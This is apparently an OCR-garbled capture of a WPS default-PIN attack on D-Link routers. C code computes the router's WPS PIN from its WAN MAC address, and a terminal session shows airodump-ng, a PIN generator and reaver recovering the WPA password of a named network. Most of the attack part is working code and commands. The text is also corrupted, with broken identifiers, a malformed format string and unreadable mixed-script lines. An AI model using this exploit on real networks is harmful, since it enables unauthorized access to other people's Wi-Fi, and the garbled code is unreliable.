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unsigned int generate default pin(char *buf)

{
char *mac;
char mac_address[32] = { 0 };
unsigned int oui, nic, pin;

/F ool S48 oylal slmyl */
mac = lockAndGetInfo log()->wan mac_ address;

/*
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*/

sprintf (mac_address, "%c%c%c%cscscscscscscscsc”,
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sscanf (mac_address, "%06X%06X", &oui, é&nic);
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pin = (nic ~ 0x55AA55);
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pin = pin % 10000000;
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if(pin < 1000000)
{
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pin += ((pin % 9) * 1000000) + 1000000;
}
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pin = ((pin * 10) + wps pin checksum(pin));

sprintf (buf, "%08d", pin);
return pin;
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$ sudo airodump-ng mon0 -c 4
CH 4 ][ Elapsed: 0 s ][ 2016-03-11 11:44 ][ fixed channel monO: -1

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER
AUTH ESSID

CO:A0:BB:EF:B3:D6 -13 4 54e WPA2 CCMP PSK
dlink-B3D6

$ ./pingen CO:A0:BB:EF:B3:D7 # <--- WAN MAC is BSSID + 1
Default Pin: 99767389

$ sudo reaver -i mon0O -b CO:A0:BB:EF:B3:D6 -c 4 -p 99767389

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner
<cheffner@tacnetsol.com>

Waiting for beacon from CO:A0:BB:EF:B3:D6

Associated with CO0:A0:BB:EF:B3:D6 (ESSID: dlink-B3D6)
WPS PIN: '99767389'

WPA PSK: 'IceCat.IR PASSWORD'

AP SSID: 'dlink-B3D6'

3 9—iSo MAC Address (sg, 31 WPS 5,8 ion oS oy Clw an pladl ol sla g, ailawlis

29 aill gl (o5 S caz ol slaliil 5 B ead crse ol




